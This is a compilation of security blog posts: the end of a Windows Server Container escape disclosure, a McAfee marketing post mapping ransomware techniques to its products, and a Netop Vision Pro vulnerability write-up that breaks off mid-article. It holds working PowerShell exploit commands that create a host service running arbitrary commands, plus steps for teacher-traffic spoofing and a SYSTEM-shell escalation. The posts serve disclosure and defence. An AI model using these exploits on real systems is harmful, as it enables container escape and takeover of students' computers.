A silo can be associated with a thread, through impersonation or as can be one job in the hierarchy of jobs associated with a process. This function first checks if the thread is in a silo. If not, signified by the -3 placeholder, it searches for any job in the job hierarchy for the process for anything which has the JOB_SILO flag set. If a silo is found, it’s returned from the function, otherwise NULL would be returned.

This is a problem, as it’s not explicitly checking for a server silo. I mentioned earlier that there are two types of silo, application and server. While creating a new server silo requires administrator privileges, creating an application silo requires no privileges at all. Therefore to trick the object manager to using the root directory all we need to do is:

  1. Create an application silo.
  2. Assign it to a process.
  3. Fully access the root of the object manager namespace.

This is basically a more powerful version of the global symlink vulnerability but requires no administrator privileges to function. Again, as with the registry issue you’re still limited in what you can modify outside of the containers based on the token in the container. But you can read files on disk, or interact with ALPC ports on the host system.

The exploit in PowerShell is pretty straightforward using my toolchain:

PS> $root = Get-NtDirectory "\"

PS> $root.FullPath

\

PS> $silo = New-NtJob -CreateSilo -NoSiloRootDirectory

PS> Set-NtProcessJob $silo -Current

PS> $root.FullPath

\Silos\748

To test the exploit we first open the current root directory object and then print its full path as the kernel sees it. Even though the silo root isn’t really a root directory the kernel makes it look like it is by returning a single backslash as the path.

We then create the application silo using the New-NtJob command. You need to specify NoSiloRootDirectory to prevent the code trying to create a root directory which we don’t want and can’t be done from a non-administrator account anyway. We can then assign the application silo to the process.

Now we can check the root directory path again. We now find the root directory is really called \Silos\748 instead of just a single backslash. This is because the kernel is now using the root root directory. At this point you can access resources on the host through the object manager.

Chaining the Exploits

We can now combine these issues together to escape the container completely from ContainerUser. First get hold of an administrator token through something like RogueWinRM, you can then impersonate it due to having SeImpersonatePrivilege. Then you can use the object manager root directory issue to access the host’s service control manager (SCM) using the ALPC port to create a new service. You don’t even need to copy an executable outside the container as the system volume for the container is an accessible device on the host we can just access.

As far as the host’s SCM is concerned you’re an administrator and so it’ll grant you full access to create an arbitrary service. However, when that service starts it’ll run in the host, not in the container, removing all restrictions. One quirk which can make exploitation unreliable is the SCM’s RPC handle can be cached by the Win32 APIs. If any connection is made to the SCM in any part of PowerShell before installing the service you will end up accessing the container’s SCM, not the hosts.

To get around this issue we can just access the RPC service directly using NtObjectManager’s RPC commands.

PS> $imp = $token.Impersonate()

PS> $sym_path = "$env:SystemDrive\symbols"

PS> mkdir $sym_path | Out-Null

PS> $services_path = "$env:SystemRoot\system32\services.exe"

PS> $cmd = 'cmd /C echo "Hello World" > \hello.txt'

# You can also use the following to run a container based executable.

#$cmd = Use-NtObject($f = Get-NtFile -Win32Path "demo.exe") {

#   "\\.\GLOBALROOT" + $f.FullPath

#}

PS> Get-Win32ModuleSymbolFile -Path $services_path -OutPath $sym_path

PS> $rpc = Get-RpcServer $services_path -SymbolPath $sym_path | 

   Select-RpcServer -InterfaceId '367abb81-9844-35f1-ad32-98f038001003'

PS> $client = Get-RpcClient $rpc

PS> $silo = New-NtJob -CreateSilo -NoSiloRootDirectory

PS> Set-NtProcessJob $silo -Current

PS> Connect-RpcClient $client -EndpointPath ntsvcs

PS> $scm = $client.ROpenSCManagerW([NullString]::Value, `

 [NullString]::Value, `

 [NtApiDotNet.Win32.ServiceControlManagerAccessRights]::CreateService)

PS> $service = $client.RCreateServiceW($scm.p3, "GreatEscape", "", `

 [NtApiDotNet.Win32.ServiceAccessRights]::Start, 0x10, 0x3, 0, $cmd, `

 [NullString]::Value, $null, $null, 0, [NullString]::Value, $null, 0)

PS> $client.RStartServiceW($service.p15, 0, $null)

For this code to work it’s expected you have an administrator token in the $token variable to impersonate. Getting that token is left as an exercise for the reader. When you run it in a container the result should be the file hello.txt written to the root of the host’s system drive.

Getting the Issues Fixed

I have some server silo escapes, now what? I would prefer to get them fixed, however as already mentioned MSRC servicing criteria pointed out that Windows Server Containers are not a supported security boundary.

I decided to report the registry symbolic link issue immediately, as I could argue that was something which would allow privilege escalation inside a container from a non-administrator. This would fit within the scope of a normal bug I’d find in Windows, it just required a special environment to function. This was issue 2120 which was fixed in February 2021 as CVE-2021-24096. The fix was pretty straightforward, the call to PsIsCurrentThreadInServerSilo was removed as it was presumably redundant.

The issue with ContainerUser having SeImpersonatePrivilege could be by design. I couldn’t find any official Microsoft or Docker documentation describing the behavior so I was wary of reporting it. That would be like reporting that a normal service account has the privilege, which is by design. So I held off on reporting this issue until I had a better understanding of the security expectations.

The situation with the other two silo escapes was more complicated as they explicitly crossed an undefended boundary. There was little point reporting them to Microsoft if they wouldn’t be fixed. There would be more value in publicly releasing the information so that any users of the containers could try and find mitigating controls, or stop using Windows Server Container for anything where untrusted code could ever run.

After much back and forth with various people in MSRC a decision was made. If a container escape works from a non-administrator user, basically if you can access resources outside of the container, then it would be considered a privilege escalation and therefore serviceable. This means that Daniel’s global symbolic link bug which kicked this all off still wouldn’t be eligible as it required SeTcbPrivilege which only administrators should be able to get. It might be fixed at some later point, but not as part of a bulletin.

I reported the three other issues (the ContainerUser issue was also considered to be in scope) as 2127, 2128 and 2129. These were all fixed in March 2021 as CVE-2021-26891, CVE-2021-26865 and CVE-2021-26864 respectively.

Microsoft has not changed the MSRC servicing criteria at the time of writing. However, they will consider fixing any issue which on the surface seems to escape a Windows Server Container but doesn’t require administrator privileges. It will be classed as an elevation of privilege.

Conclusions

The decision by Microsoft to not support Windows Server Containers as a security boundary looks to be a valid one, as there’s just so much attack surface here. While I managed to get four issues fixed I doubt that they’re the only ones which could be discovered and exploited. Ideally you should never run untrusted workloads in a Windows Server Container, but then it also probably shouldn’t provide remotely accessible services either. The only realistic use case for them is for internally visible services with little to no interactions with the rest of the world. The official guidance for GKE is to not use Windows Server Containers in hostile multi-tenancy scenarios. This is covered in the GKE documentation here.

Obviously, the recommended approach is to use Hyper-V isolation. That moves the needle and Hyper-V is at least a supported security boundary. However container escapes are still useful as getting full access to the hosting VM could be quite important in any successful escape. Not everyone can run Hyper-V though, which is why GKE isn't currently using it.

McAfee Defenders Blog: Reality Check for your Defenses

31 March 2021 at 16:22
How to check for viruses

Welcome to reality

Ever since I started working in IT Security more than 10 years ago, I wondered, what helps defend against malware the best?

This simple question does not stand on its own, as there are several follow-up questions to that:

  1. How is malware defined? Are we focusing solely on Viruses and Trojans, or do we also include Adware and others?
  2. What malware types are currently spread across the globe? What died of old age and what is brand new?
  3. How does malware operate? Is file-less malware a short-lived trend or is it here to stay?
  4. What needs to be done to adequately defend against malware? What capabilities are needed?
  5. What defenses are already in place? Are they configured correctly?

This blog will guide you through my research and thought process around these questions and how you can enable yourself to answer these for your own organization!

A quick glance into the past

As mentioned above, the central question “what helps best?” has followed me throughout the years, but my methods to be able to answer this question have evolved. The first interaction I had with IT Security was more than 10 years ago, where I had to manually deploy new Anti-Virus software from a USB-key to around 100 devices. The settings were configured by a colleague in our IT-Team, and my job was to help remove infections when they came up, usually by going through the various folders or registry keys and cleaning up the remains. The most common malware was Adware, and the good-ol obnoxious hotbars which were added to the browser. I remember one colleague calling into IT saying “my internet has become so small, I can barely even read 5 lines of text” which we later translated into “I had 6 hotbars installed on my Internet Explorer so there was nearly no space left for the content to be displayed”.

Exemplary picture of the “internet” getting smaller.

Jump ahead a couple of years, I started working with McAfee ePolicy Orchestrator to manage and deploy Anti-Malware from a central place automatically, and not just for our own IT, but I was was allowed to implement McAfee ePO into our customers’ environments. This greatly expanded my view into what happens in the world of malware and I started using the central reporting tool to figure out where all these threats were coming from:

 

Also, I was able to understand how the different McAfee tools helped me in detecting and blocking these threats:

But this only showed the viewpoint of one customer and I had to manually overlay them to figure out what defense mechanism worked best. Additionally, I couldn’t see what was missed by the defense mechanisms, either due to configuration, missing signatures, or disabled modules. So, these reports gave me a good viewpoint into the customers I managed, but not the complete picture. I needed a different perspective, perhaps from other customers, other tools, or even other geo-locations.

Let us jump further ahead in my personal IT security timeline to about June 2020:

How a new McAfee solution changed my perception, all while becoming a constant pun

As you could see above, I spent quite a lot of time optimizing setups and configurations to assist customers in increasing their endpoint security. As time progressed, it became clear that solely using Endpoint Protection, especially only based on signatures, was not state of the art. Protection needs to be a combination of security controls rather than the obnoxious silver bullet that is well overplayed in cybersecurity. And still, the best product or solution set doesn’t help if you don’t know what you are looking for (Question 1&2), how to prepare (Question 4) or if you misconfigured the product including all subfolders of “C:\” as an exclusion for On-Access-Scanning (Question 5).

Then McAfee released MVISION Insights this summer and it clicked in my head:

  1. I can never use the word “insights” anymore as everyone would think I use it as a pun
  2. MVISION Insights presented me with verified data of current campaigns running around in the wild
  3. MVISION Insights also aligns the description of threats to the MITRE ATT&CK® Framework, making them comparable
  4. From the ATT&CK™ Framework I could also link from the threat to defensive capabilities

With this data available it was possible to create a heatmap not just by geo-location or a very high number of new threats every day, hour or even minute, but on how specific types of campaigns are operating out in the wild. To start assessing the data, I took 60 ransomware campaigns dating between January and June 2020 and pulled out all the MITRE ATT&CK© techniques that have been used and displayed them on a heatmap:

Amber/Orange: Being used the most, green: only used in 1 or 2 campaigns

Reality Check 1: Does this mapping look accurate?

For me it does, and here is why:

  1. Initial Access comes from either having already access to a system or by sending out spear phishing attachments
  2. Execution uses various techniques from CLI, to PowerShell and WMI
  3. Files and network shares are being discovered so the ransomware knows what to encrypt
  4. Command and control techniques need to be in place to communicate with the ransomware service provider
  5. Files are encrypted on impact, which is kind of a no-brainer, but on the other hand very sound-proof on what we feel what ransomware is doing, and it is underlined by the work of the threat researchers and the resulting data

Next, we need to understand what can be done to detect and ideally block ransomware in its tracks. For this I summarized key malware defense capabilities and mapped them to the tactics being used most:

MITRE Tactic Security Capability Example McAfee solution features
Execution Attack surface reduction ENS Access Protection and Exploit Prevention, MVISION Insights recommendations
Multi-layered detection ENS Exploit Prevention, MVISION Insights telemetry, MVISION EDR Tracing, ATD file analysis
Multi-layered protection ENS On-Access-Scanning using Signatures, GTI, Machine-Learning and more
Rule & Risk-based analytics MVISION EDR tracing
Containment ENS Dynamic Application Containment
Persistence Attack surface reduction ENS Access Protection or Exploit Prevention, MVISION Insights recommendations
Multi-layered detection ENS Exploit Prevention, MVISION Insights telemetry, MVISION EDR Tracing, ATD file analysis
Sandboxing and threat analysis ATD file analysis
Rule & Risk-based analytics MVISION EDR tracing
Containment ENS Dynamic Application Containment
Defense Evasion Attack surface reduction ENS Access Protection and Exploit Prevention, MVISION Insights recommendations
Multi-layered detection ENS Exploit Prevention, MVISION Insights telemetry, MVISION EDR Tracing, ATD file analysis
Sandboxing and threat analysis ATD file analysis
Rule & Risk-based analytics MVISION EDR tracing
Containment ENS Dynamic Application Containment
Discovery Attack surface reduction ENS Access Protection and Exploit Prevention
Multi-layered detection ENS Exploit Prevention, MVISION EDR Tracing, ATD file analysis
Sandboxing and threat analysis ATD file analysis
Rule & Risk-based analytics MVISION EDR tracing
Command & Control Attack surface reduction MVISION Insights recommendations
Multi-layered detection ENS Firewall IP Reputation, MVISION Insights telemetry, MVISION EDR Tracing, ATD file analysis
Multi-layered protection ENS Firewall
Rule & Risk-based analytics MVISION EDR tracing
Containment ENS Firewall and Dynamic Application Containment
Impact Multi-layered detection MVISION EDR tracing, ATD file analysis
Rule & Risk-based analytics MVISION EDR tracing
Containment ENS Dynamic Application Containment
Advanced remediation ENS Advanced Rollback

A description of the McAfee Solutions is provided below. 

Now this allowed me to map the solutions from the McAfee portfolio to each capability, and with that indirectly to the MITRE tactics. But I did not want to end here, as different tools might take a different role in the defensive architecture. For example, MVISION Insights can give you details around your current configuration and automatically overlays it with the current threat campaigns in the wild, giving you the ability to proactively prepare and harden your systems. Another example would be using McAfee Endpoint Security (ENS) to block all unsigned PowerShell scripts, effectively reducing the risk of being hit by a file-less malware based on this technology to nearly 0%. On the other end of the scale, solutions like MVISION EDR will give you great visibility of actions that have occurred, but this happens after the fact, so there is a high chance that you will have some cleaning up to do. This brings me to the topic of “improving protection before moving into detection” but this is for another blog post.

Coming back to the mapping shown above, let us quickly do…

Reality Check 2: Does this mapping feel accurate too?

For me it does, and here is why:

  1. Execution, persistence, and defense evasion are tactics where a lot of capabilities are present, because we have a lot of mature security controls to control what is being executed, in what context and especially defense evasion techniques are good to detect and protect against.
  2. Discovery has no real protection capability mapped to it, as tools might give you indicators that something suspicious is happening but blocking every potential file discovery activity will have a very huge operational impact. However, you can use sandboxing or other techniques to assess what the ransomware is doing and use the result from this analysis to stop ongoing malicious processes.
  3. Impact has a similar story, as you cannot block any process that encrypts a file, as there are many legitimate reasons to do so and hundreds of ways to accomplish this task. But again, you can monitor these actions well and with the right technology in place, even roll back the damage that has been done.

Now with all this data at hand we can come to the final step and bring it all together in one simple graph.

One graph to bind them…

Before we jump into our conclusion, here is a quick summary of the actions I have taken:

  1. Gather data from 60 ransomware campaigns
  2. Pull out the MITRE ATT&CK techniques being used
  3. Map the necessary security capabilities to these techniques
  4. Bucketize the capabilities depending on where they are in the threat defense lifecycle
  5. Map McAfee solutions to the capabilities and applying a weight to the score
  6. Calculate the score for each solution
  7. Create graph for the ransomware detection & protection score for our most common endpoint bundles and design the best fitting security architecture

So, without further ado and with a short drumroll I want to present to you the McAfee security architecture that best defends against current malware campaigns:

For reference, here is a quick breakdown of the components that make up the architecture above:

MVISION ePO is the SaaS-based version of our famous security management solution, which makes it possible to manage a heterogenous set of systems, policies, and events from a central place. Even though I have mentioned the SaaS-based version here, the same is true for our ePO on-premises software as well.

MVISION Insights is a key data source that helps organizations understand what campaigns and threats are trending. This is based on research from our Advanced Threat Research (ATR) team who use our telemetry data inside our Global Threat Intelligence (GTI) big-data platform to enhance the details that are provided.

MVISION Endpoint Detect & Response (EDR) is present in multiple boxes here, as it is a sensor on one side, which sits on the endpoint and collects data, and it is also a cloud service which receives, stores and analyses the data.

EPP is our Endpoint Protection Platform, which contains multiple items working in conjunction. First there is McAfee Endpoint Security (ENS) that is sitting on the device itself and has multiple detection and protection capabilities. For me, the McAfee Threat Intelligence Exchange (TIE) server is always a critical piece to McAfee’s Endpoint Protection Platform and has evolved from a standalone feature to an integrated building block inside ePO and is therefore not shown in the graphic above.

McAfee Advanced Threat Defense (ATD) extends the capabilities of both EPP and EDR, as it can run suspicious files in a separated environment and shares the information gathered with the other components of the McAfee architecture and even 3rd-party tools. It also goes the other way around as ATD allows other security controls to forward files for analysis in our sandbox, but this might be a topic for another blog post.

All the items listed above can be acquired by licensing our MVISION Premium suite in combination with McAfee ATD.

Based on the components and the mapping to the capabilities, I was also able to create a graph based on our most common device security bundles and their respective malware defense score:

In the graph above you can see four of our most sold bundles, ranging from the basic MVISION Standard, up to MVISION Premium in combination with McAfee Advanced Threat Defense (ATD). The line shows the ransomware detection & protection score, steadily rising as you go from left to right. Interestingly, the cost per point, i.e. how much dollar you need to spend to get one point, is much lower when buying the largest option in comparison to the smaller ones. As the absolute cost varies on too many variables, I have omitted an example here. Contact your local sales representative to gather an estimated calculation for your environment.

So, have I come to this conclusion by accident? Let us find out in the last installment of the reality check:

Reality Check 3:  Is this security architecture well suited for today’s threats?

For me it does, and here is why:

  1. It all starts with the technology on the endpoint. A good Endpoint Protection Platform can not only prevent attacks and harden the system, but it can also protect against threats when they are written on a disk or are executed, and then start malicious activities. But what is commonly overlooked: A good endpoint solution can also bring in a lot of visibility, making it the foundation of every good incident response practice.
  2. ATD plays a huge role in the overall architecture as you can see from the increase in points between MVISION Premium and MVISION Premium + ATD in the graph above. It allows the endpoint to have another opinion, which is not limited in time and resources to come to a conclusion, and it has no scan exceptions applied when checking a file. As this is integrated into the protection, it helps block threats before spreading and it certainly provides tremendous details around the malware that was discovered.
  3. MVISION Insights also plays a huge role in both preventative actions, so that you can harden your machines before you are hit, but also in detecting things that might have slipped through the cracks or where new indicators have emerged only after a certain time period.
  4. MVISION EDR has less impact on the scoring, as it is a pure detection technology. However, it also has a similar advantage as our McAfee ATD, as the client only forwards the data, and the heavy lifting is done somewhere else. It also goes back around, as EDR can pull in data from other tools shown above, like ENS, TIE or ATD just to name a few.
  5. MVISION ePO must be present in any McAfee architecture, as it is the heart and soul for every operational task. From managing policies, rollouts, client-tasks, reporting and much more, it plays a critical role and has for more than two decades now.

And the answer is not 42

While writing up my thoughts into the blog post, I was reminded of the “Hitchhikers Guide to the Galaxy”, as my journey in cybersecurity started out with the search for the answer to everything. But over the years it evolved into the multiple questions I prompted at the start of the article:

  1. How is malware defined? Are we focusing solely on Viruses and Trojans, or do we also include Adware and others?
  2. What malware types are currently spread across the globe? What died of old age and what is brand new?
  3. How does malware operate? Is file-less malware a short-lived trend or is it here to stay?
  4. What needs to be done to adequately defend against malware? What capabilities are needed?
  5. What defenses are already in place? Are they configured correctly?

And certainly, the answers to these questions are a moving target. Not only do the tools and techniques by the adversaries evolve, so do all the capabilities on the defensive side.

I welcome you to take the information provided by my research and apply it to your own security architecture:

  • Do you have the right capabilities to protect against the techniques used by current ransomware campaigns?
  • Is detection already a key part of your environment and how does it help to improve your protection?
  • Have you recently tested your defenses against a common threat campaign?
  • Are you sharing detections within your architecture from one security tool to the other?
  • What score would your environment reach?

Thank you for reading this blog post and following my train of thought. I would love to hear back from you, on how you assess yourself, what could be the next focus area for my research or if you want to apply the scoring mechanism on your environment! So please find me on LinkedIn or Twitter, write me a short message or just say “Hi!”.

I also must send out a big “THANK YOU!” to all my colleagues at McAfee helping out during my research: Mo Cashman, Christian Heinrichs, John Fokker, Arnab Roy, James Halls and all the others!

 

The post McAfee Defenders Blog: Reality Check for your Defenses appeared first on McAfee Blog.

Netop Vision Pro – Distance Learning Software is 20/20 in Hindsight

By: Sam Quinn
22 March 2021 at 04:01

The McAfee Labs Advanced Threat Research team is committed to uncovering security issues in both software and hardware to help developers provide safer products for businesses and consumers. We recently investigated software installed on computers used in K-12 school districts. The focus of this blog is on Netop Vision Pro produced by Netop. Our research into this software led to the discovery of four previously unreported critical issues, identified by CVE-2021-27192, CVE-2021-27193, CVE-2021-27194 and CVE-2021-27195. These findings allow for elevation of privileges and ultimately remote code execution, which could be used by a malicious attacker, within the same network, to gain full control over students’ computers. We reported this research to Netop on December 11, 2020 and we were thrilled that Netop was able to deliver an updated version in February of 2021, effectively patching many of the critical vulnerabilities.

Netop Vision Pro is a student monitoring system for teachers to facilitate student learning while using school computers. Netop Vision Pro allows teachers to perform tasks remotely on the students’ computers, such as locking their computers, blocking web access, remotely controlling their desktops, running applications, and sharing documents. Netop Vision Pro is mainly used to manage a classroom or a computer lab in a K-12 environment and is not primarily targeted for eLearning or personal devices. In other words, the Netop Vision Pro Software should never be accessible from the internet in the standard configuration. However, as a result of these abnormal times, computers are being loaned to students to continue distance learning, resulting in schooling software being connected to a wide array of networks increasing the attack surface.

Initial Recon

Netop provides all software as a free trial on its website, which makes it easy for anyone to download and analyze it. Within a few minutes of downloading the software, we were able to have it configured and running without any complications.

We began by setting up the Netop software in a normal configuration and environment. We placed four virtual machines on a local network; three were set up as students and one was set up as a teacher. The three student machines were configured with non-administrator accounts in our attempt to emulate a normal installation. The teacher first creates a “classroom” which then can choose which student PCs should connect. The teacher has full control and gets to choose which “classroom” the student connects to without the student’s input. Once a classroom has been setup, the teacher can start a class which kicks off the session by pinging each student to connect to the classroom. The students have no input if they want to connect or not as it is enforced by the teacher. Once the students have connected to the classroom the teacher can perform a handful of actions to the entire class or individual students.

During this setup we also took note of the permission levels of each component. The student installation needs to be tamperproof and persistent to prevent students from disabling the service. This is achieved by installing the Netop agent as a system service that is automatically started at boot. The teacher install executes as a normal user and does not start at boot. This difference in execution context and start up behavior led us to target the student installs, as an attacker would have a higher chance of gaining elevated system permissions if it was compromised. Additionally, the ratio of students to teachers in a normal school environment would ensure any vulnerabilities found on the student machines would be wider spread.

With the initial install complete, we took a network capture on the local network and took note of the traffic between the teacher and student. An overview of the first few network packets can been seen in Figure 1 below and how the teacher, student transaction begins.

Figure 1: Captured network traffic between teacher and student

Our first observation, now classified as CVE-2021-27194, was that all network traffic was unencrypted with no option to turn encryption on during configuration. We noticed that even information normally considered sensitive, such as Windows credentials (Figure 2) and screenshots (Figure 4), were all sent in plaintext. Windows credentials were observed on the network when a teacher would issue a “Log on” command to the student. This could be used by the teacher or admin to install software or simply help a student log in.

Figure 2: Windows credentials passed in plaintext

Additionally, we observed interesting default behavior where a student connecting to a classroom immediately began to send screen captures to the classroom’s teacher. This allows the teacher to monitor all the students in real time, as shown in Figure 3.

Figure 3: Teacher viewing all student machines via screenshots

Since there is no encryption, these images were sent in the clear. Anyone on the local network could eavesdrop on these images and view the contents of the students’ screens remotely. A new screenshot was sent every few seconds, providing the teacher and any eavesdroppers a near-real time stream of each student’s computer. To capture and view these images, all we had to do was set our network card to promiscuous mode (https://www.computertechreviews.com/definition/promiscuous-mode/) and use a tool like Driftnet (https://github.com/deiv/driftnet). These two steps allowed us to capture the images passed over the network and view every student screen while they were connected to a classroom. The image in Figure 4 is showing a screenshot captured from Driftnet. This led us to file our first vulnerability disclosed as CVE-2021-27194, referencing “CWE-319: Cleartext Transmission of Sensitive Information” for this finding. As pointed out earlier, the teacher and the student clients will communicate directly over the local network. The only way an eavesdropper could access the unencrypted data would be by sniffing the traffic on the same local network as the students.

Figure 4: Image of student’s desktop captured from Driftnet over the network

Fuzzing the Broadcast Messages

With the goal of remote code execution on the students’ computers, we began to dissect the first network packet, which the teacher sends to the students, telling them to connect to the classroom. This was a UDP message sent from the teacher to all the students and can be seen in Figure 5.

Figure 5: Wireshark capture of teacher’s UDP message

The purpose of this packet is to let the student client software know where to find the teacher computer on the network. Because this UDP message is sent to all students in a broadcast style and requires no handshake or setup like TCP, this was a good place to start poking at.

We created a custom Scapy layer (https://scapy.readthedocs.io/en/latest/api/scapy.layers.html) (Figure 6) from the UDP message seen in Figure 5 to begin dissecting each field and crafting our own packets. After a few days of fuzzing with UDP packets, we were able to identify two things. First, we observed a lack of length checks on strings and second, random values sent by the fuzzer were being written directly to the Windows registry. The effect of these tests can easily be seen in Figure 7.

Figure 6: UDP broadcast message from teacher

Even with these malformed entries in the registry (Figure 7) we never observed the application crashing or responding unexpectedly. This means that even though the application wasn’t handling our mutated packet properly, we never overwrote anything of importance or crossed a string buffer boundary.

Figure 7: Un-sanitized characters being written to the Registry

To go further we needed to send the next few packets that we observed from our network capture (Figure 8). After the first UDP message, all subsequent packets were TCP. The TCP messages would negotiate a connection between the student and the teacher and would keep the socket open for the duration of the classroom connection. This TCP negotiation exchange was a transfer of 11 packets, which we will call the handshake.

Figure 8: Wireshark capture of a teacher starting class

Reversing the Network Protocol

To respond appropriately to the TCP connection request, we needed to emulate how a valid teacher would respond to the handshake; otherwise, the student would drop the connection. We began reverse engineering the TCP network traffic and attempted to emulate actual “teacher” traffic. After capturing a handful of packets, the payloads started to conform to roughly the same format. Each started with the size of the packet and the string “T125”. There were three packets in the handshake that contained fields that were changing between each classroom connection. In total, four changing fields were identified.

The first field was the session_id, which we identified in IDA and is shown in the UDP packet from Figure 6. From our fuzzing exercise with the UDP packet, we learned if the same session_id was reused multiple times, the student would still respond normally, even though the actual network traffic we captured would often have a unique session_id.

This left us three remaining dynamic fields which we identified as a teacher token, student token, and a unique unknown DWORD (8 bytes). We identified two of these fields by setting up multiple classrooms with different teacher and student computers and monitoring these values. The teacher token was static and unique to each teacher. We discovered the same was true with the student token. This left us with the unique DWORD field that was dynamic in each handshake. This last field at first seemed random but was always in the same relative range. We labeled this as “Token3” for much of our research, as seen in Figure 9 below.

Figure 9: Python script output identifying “Token3”

Eventually, while using WinDbg to perform dynamic analysis, the value of Token3 started to look familiar. We noticed it matched the range of memory being allocated for the heap. This can be seen in Figure 10.

Figure 10: WinDbg address space analysis from a student PC

By combining our previous understanding of the UDP broadcast traffic with our ability to respond appropriately to the TCP packets with dynamic fields, we were able to successfully emulate a teacher’s workstation. We demonstrated this by modifying our Python script with this new information and sending a request to connect with the student. When a student connects to a teacher it displays a message indicating a successful connection has been made. Below are two images showing a teacher connecting (Figure 11) and our Python script connecting (Figure 12). Purely for demonstration purposes, we have named our attack machine “hacker”, and our classroom “hacker-room.”

Figure 11: Emulation of a teacher successful

Figure 12: Emulated teacher connection from Python script

To understand the process of reverse engineering the network traffic in more detail, McAfee researchers Douglas McKee and Ismael Valenzuela have released an in-depth talk on how to hack proprietary protocols like the one used by Netop. Their webinar goes into far more detail than this blog and can be viewed here.

Replaying a Command Action

Since we have successfully emulated a teacher’s connection using Python, for clarity we will refer to ourselves as the attacker and a legitimate connection made through Netop as the teacher.

Next, we began to look at some of the actions that teachers can perform and how we could take advantage of them. One of the actions that a teacher can perform is starting applications on the remote students’ PCs. In the teacher suite, the teacher is prompted with the familiar Windows Run prompt, and any applications or commands set to run are executed on the student machines (Figure 13).

Figure 13: The teacher “Run Application” prompt

Looking at the network traffic (shown in Figure 14), we were hoping to find a field in the packet that could allow us to deviate from what was possible using the teacher client. As we mentioned earlier, everything is in plaintext, making it quite easy to identify which packets were being sent to execute applications on the remote systems by searching within Wireshark.

Figure 14: Run “calc” packet

Before we started to modify the packet that runs applications on the student machines, we first wanted to see if we could replay this traffic successfully. As you can see in the video below, our Python script was able to run PowerShell followed by Windows Calculator on each of the student endpoints. This is showcasing that even valid teacher actions can still be useful to attackers.

The ability for an attacker to emulate a teacher and execute arbitrary commands on the students’ machines brings us to our second CVE. CVE-2021-27195 was filed for “CWE-863: Incorrect Authorization” since we were able to replay modified local network traffic.

When the teacher sends a command to the student, the client would drop privileges to that of the logged-in student and not keep the original System privileges. This meant that if an attacker wanted unrestricted access to the remote system, they could not simply replay normal traffic, but instead would have to modify each field in the traffic and observe the results.

In an attempt to find a way around the privilege reduction during command execution, we continued fuzzing all fields located within the “run command” packet. This proved unsuccessful as we were unable to find a packet structure that would prevent the command from lowering privileges. This required a deeper dive into the code in handling the remote command execution processed on the student endpoint. By tracing the execution path within IDA, we discovered there was in fact a path that allows remote commands to execute without dropping privileges, but it required a special case, as shown in Figure 15.

Figure 15: IDA graph view showing alternate paths of code execution

Figure 16: Zoomed in image of the ShellExecute code path

The code path that bypasses the privilege reduction and goes directly to “ShellExecute” was checking a variable that had its value set during startup. We were not able to find any other code paths that updated this value after the software started. Our theory is this value may be used during installation or uninstallation, but we were not able to legitimately force execution to the “ShellExecute” path.

This code path to “ShellExecute” made us wonder if there were other similar branches like this that could be reached. We began searching the disassembled code in IDA for calls not wrapped with code resulting in lower privileges. We found four cases where the privileges were not reduced, however none of them were accessible over the network. Regardless, they still could potentially be useful, so we investigated each. The first one was used when opening Internet Explorer (IE) with a prefilled URL. This turned out to be related to the support system. Examining the user interface on the student machine, we discovered a “Technical Support” button which was found in the Netop “about” menu.

When the user clicks on the support button, it opens IE directly into a support web form. The issue, however, is privileges are never dropped, resulting in the IE process being run as System because the Netop student client is also run as System. This can be seen in Figure 11. We filed this issue as our third CVE, CVE-2021-27192 referencing “CWE-269: Incorrect Privilege Assignment”.

Figure 17: Internet Explorer running as System

There are a handful of well-documented ways to get a local elevation of privilege (LPE) using only the mouse when the user has access to an application running with higher privileges. We used an old technique which uses the “Save as” button to navigate to the folder where cmd.exe is located and execute it. The resulting CMD process inherits the System privileges of the parent process, giving the user a System-level shell.

While this LPE was exciting, we still wanted to find something with a remote attack vector and utilize our Python script to emulate teacher traffic. We decided to take a deeper dive into the network traffic to see what we could find. Simulating an attacker, we successfully emulated the following:

  • Remote CMD execution
  • Screen blank the student
  • Restart Netop
  • Shutdown the computer
  • Block web access to individual websites
  • Unlock the Netop properties (on student computer)

During the emulation of all the above actions we performed some rudimentary fuzzing on various fields of each and discovered six crashes which caused the Netop student install to crash and restart. We were able to find two execution violations, two read violations, one write exception, and one kernel exception. After investigation, we determined these crashes were not easily exploitable and therefore a lower priority for deeper investigation. Regardless, we reported them to Netop along with all other findings.

Exploring Plugins

Netop Vision Pro comes with a handful of plugins installed by default, which are used to separate different functionality from the main Netop executable. For example, to enable the ability for the teacher and student to instant message (IM) each other, the MChat.exe plugin is used. With a similar paradigm to the main executable, the students should not be able to stop these plugins, so they too run as System, making them worth exploring.

Mimicking our previous approach, we started to look for “ShellExecute” calls within the plugins and eventually discovered three more privilege escalations, each of which were conducted in a comparable way using only the mouse and bypassing restrictive file filters within the “Save as” windows. The MChat.exe, SSView.exe (Screen Shot Viewer), and the About page’s “System Information” windows all had a similar “Save as” button, each resulting in simple LPEs with no code or exploit required. We added each of these plugins under the affected versions field on our third CVE, CVE-2021-27192, mentioned above.

We were still searching for a method to achieve remote code execution and none of the “ShellExecute” calls used for the LPEs were accessible over the network. We started to narrow down the plugins that pass user supplied data over the network. This directed our attention back to the MChat plugin. As part of our initial recon for research projects, we reviewed change logs looking for any relevant security changes. During this review we noted an interesting log pertaining to the MChat client as seen in Figure 13.

 

Figure 18: Change log from Netop.com

The Chat function runs as System, like all the plugins, and can send text or files to the remote student computer. An attacker can always use this functionality to their advantage by either overwriting existing files or enticing a victim to click on a dropped executable. Investigating how the chat function works and specifically how files are sent, we discovered that the files are pushed to the student computers without any user interaction from the student. Any files pushed by a teacher are stored in a “work directory”, which the student can open from the IM window. Prior to the latest release it would have been opened as System; this was fixed as referenced in Figure 18. Delving deeper into the functionality of the chat application, we found that the teacher also has the ability to read files in the student’s “work directory” and delete files within it. Due to our findings demonstrated with CVE-2021-27195, we can leverage our emulation code as an attacker to write, read, and delete files within this “work directory” from a remote attack vector on the same local network. This ability to read and write files accounted for the last CVE that we filed, CVE-2021-27193 referencing “CWE-276: Incorrect Default Permissions,” with the overall highest CVSS score of 9.5.

In order to determine if the MChat plugin would potentially give us System-level access, we needed to investigate if the plugin’s file operations were restricted to the student’s permissions or if the plugin inherited the System privileges from the running context. Examining the disassembled code of the MChat plugin, as displayed in Figure 14, we learned that all file actions on the student computer are executed with System privileges. Only after the file operation finishes will the permissions be set to allow access for everyone, essentially the effect of using the Linux “chmod 777” command, to make the files universally read/writable.

Figure 19: IDA screenshot of MChat file operations changing access to everyone

